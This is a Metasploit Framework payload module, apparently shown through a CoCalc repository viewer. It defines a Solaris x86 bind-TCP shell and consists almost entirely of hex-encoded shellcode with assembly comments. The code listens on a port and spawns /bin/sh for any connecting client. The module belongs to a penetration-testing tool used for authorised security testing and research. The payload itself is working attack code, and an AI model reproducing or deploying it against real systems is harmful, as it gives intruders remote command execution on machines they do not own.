CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb
Views: 11779
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 95
10
11
include Msf::Payload::Single
12
include Msf::Payload::Solaris
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'Solaris Command Shell, Bind TCP Inline',
18
'Description' => 'Listen for a connection and spawn a command shell',
19
'Author' => 'Ramon de C Valle',
20
'License' => MSF_LICENSE,
21
'Platform' => 'solaris',
22
'Arch' => ARCH_X86,
23
'Handler' => Msf::Handler::BindTcp,
24
'Session' => Msf::Sessions::CommandShellUnix,
25
'Payload' =>
26
{
27
'Offsets' =>
28
{
29
'LPORT' => [ 20, 'n' ],
30
},
31
'Payload' =>
32
"\x68\xff\xd8\xff\x3c" + # pushl $0x3cffd8ff #
33
"\x6a\x65" + # pushl $0x65 #
34
"\x89\xe6" + # movl %esp,%esi #
35
"\xf7\x56\x04" + # notl 0x04(%esi) #
36
"\xf6\x16" + # notb (%esi) #
37
"\x31\xc0" + # xorl %eax,%eax #
38
"\x50" + # pushl %eax #
39
"\x68\xff\x02\x04\xd2" + # pushl $0xd20402ff #
40
"\x89\xe7" + # movl %esp,%edi #
41
"\x6a\x02" + # pushl $0x02 #
42
"\x50" + # pushl %eax #
43
"\x50" + # pushl %eax #
44
"\x6a\x02" + # pushl $0x02 #
45
"\x6a\x02" + # pushl $0x02 #
46
"\xb0\xe6" + # movb $0xe6,%al #
47
"\xff\xd6" + # call *%esi #
48
"\x6a\x10" + # pushl $0x10 #
49
"\x57" + # pushl %edi #
50
"\x50" + # pushl %eax #
51
"\x31\xc0" + # xorl %eax,%eax #
52
"\xb0\xe8" + # movb $0xe8,%al #
53
"\xff\xd6" + # call *%esi #
54
"\x5b" + # popl %ebx #
55
"\x50" + # pushl %eax #
56
"\x50" + # pushl %eax #
57
"\x53" + # pushl %ebx #
58
"\xb0\xe9" + # movb $0xe9,%al #
59
"\xff\xd6" + # call *%esi #
60
"\xb0\xea" + # movb $0xea,%al #
61
"\xff\xd6" + # call *%esi #
62
"\x6a\x09" + # pushl $0x09 #
63
"\x50" + # pushl %eax #
64
"\x6a\x3e" + # pushl $0x3e #
65
"\x58" + # popl %eax #
66
"\xff\xd6" + # call *%esi #
67
"\xff\x4f\xd8" + # decl -0x28(%edi) #
68
"\x79\xf6" + # jns <bndsockcode+61> #
69
"\x50" + # pushl %eax #
70
"\x68\x2f\x2f\x73\x68" + # pushl $0x68732f2f #
71
"\x68\x2f\x62\x69\x6e" + # pushl $0x6e69622f #
72
"\x89\xe3" + # movl %esp,%ebx #
73
"\x50" + # pushl %eax #
74
"\x53" + # pushl %ebx #
75
"\x89\xe1" + # movl %esp,%ecx #
76
"\x50" + # pushl %eax #
77
"\x51" + # pushl %ecx #
78
"\x53" + # pushl %ebx #
79
"\xb0\x3b" + # movb $0x3b,%al #
80
"\xff\xd6" # call *%esi #
81
}))
82
end
83
end
84
85